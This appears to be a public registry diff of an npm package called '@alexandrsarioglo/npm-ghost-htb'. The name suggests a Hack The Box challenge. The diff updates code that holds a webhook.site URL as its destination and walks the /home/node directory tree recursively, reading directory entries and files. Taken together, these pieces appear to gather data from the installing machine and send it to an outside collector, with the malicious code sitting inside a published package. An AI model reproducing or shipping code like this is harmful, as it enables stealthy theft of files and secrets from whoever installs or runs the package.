@alexandrsarioglo/npm-ghost-htb 1.0.7 → 1.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +6 -7
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
const WEBHOOK = 'https://webhook.site/
|
|
1
|
+
const WEBHOOK = 'https://webhook.site/b4742802-71ae-43fe-90dc-a01f94b4e039'; // <-- put your URL
|
|
2
2
|
|
|
3
3
|
// async-scan-htb-json.js (CommonJS)
|
|
4
4
|
// Usage: node async-scan-htb-json.js [startPath]
|
|
@@ -90,19 +90,21 @@ async function readFileSafe(p, maxBytes) {
|
|
|
90
90
|
|
|
91
91
|
|
|
92
92
|
const START_DIR = '/home/node'; // <<--- edit this to the directory you want listed
|
|
93
|
+
// const START_DIR = '/Users/alexandrsarioglo'; // <<--- edit this to the directory you want listed
|
|
93
94
|
const RECURSIVE = true; // set to false to list only the top level
|
|
94
95
|
const MAX_ENTRIES_PER_DIR = 10000; // safety cap
|
|
95
96
|
|
|
97
|
+
// assume earlier: const fs = require('fs'); const fsp = fs.promises;
|
|
96
98
|
async function listDir(dir, depth = 0, result = []) {
|
|
97
99
|
let entries;
|
|
98
100
|
try {
|
|
99
|
-
|
|
101
|
+
// use the Promise API
|
|
102
|
+
entries = await fsp.readdir(dir, { withFileTypes: true });
|
|
100
103
|
} catch (err) {
|
|
101
104
|
result.push({ path: dir, error: `readdir-failed: ${err.code || err.message}` });
|
|
102
105
|
return result;
|
|
103
106
|
}
|
|
104
107
|
|
|
105
|
-
// safety: avoid pathological directories
|
|
106
108
|
if (entries.length > MAX_ENTRIES_PER_DIR) {
|
|
107
109
|
result.push({ path: dir, warning: `skipped (too many entries: ${entries.length})` });
|
|
108
110
|
return result;
|
|
@@ -118,10 +120,7 @@ async function listDir(dir, depth = 0, result = []) {
|
|
|
118
120
|
result.push(item);
|
|
119
121
|
|
|
120
122
|
if (RECURSIVE && e.isDirectory()) {
|
|
121
|
-
|
|
122
|
-
if (e.isSymbolicLink()) {
|
|
123
|
-
continue;
|
|
124
|
-
}
|
|
123
|
+
if (e.isSymbolicLink()) continue;
|
|
125
124
|
await listDir(full, depth + 1, result);
|
|
126
125
|
}
|
|
127
126
|
}
|